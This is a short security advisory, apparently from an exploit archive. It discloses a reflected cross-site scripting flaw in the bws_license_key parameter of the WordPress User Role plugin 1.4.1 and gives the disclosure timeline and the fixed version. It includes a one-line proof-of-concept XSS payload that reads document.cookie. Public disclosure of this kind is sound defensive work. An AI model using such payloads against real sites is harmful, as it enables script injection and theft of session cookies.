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WordPress User Role 1.4.1 Cross Site Scripting

WordPress User Role 1.4.1 Cross Site Scripting
Posted Dec 17, 2015
Authored by Madhu Akula

WordPress User Role plugin version 1.4.1 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | eaec2b60230497afb32b8282653575d9

WordPress User Role 1.4.1 Cross Site Scripting

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Plugin Name : User Role

Effected Version : 1.4.1 (and most probably lower version's if any)

Vulnerability : A3-Cross-Site Scripting (XSS)

Identified by : Madhu Akula



Technical Details

Minimum Level of Access Required : Administrator

PoC - (Proof of Concept) :

In the following field put the payload as below

http://localhost/wp-admin/admin.php?page=user-role.php&action=go_pro
bws_license_key = “><img src=x onerror=prompt(document.cookie);>

Vulnerable Parameter : bws_license_key

Type of XSS : Reflected

Fixed in : 1.4.2

http://wordpress.org/plugins/user-role/changelog/

Disclosure Timeline

Vendor Contacted : 2014-08-04

Plugin Status : Updated on 2014-08-07

Public Disclosure : October 3, 2015

CVE Number : Not assigned yet

Plugin Description :

The User Role plugin allows you to change wordpress role capabilities. It is a very useful tool when your site has a bunch of visitors or subscribers. The plugin has intuitive and convenient interface so all the site visitors can be easily sorted by roles with a couple of clicks.
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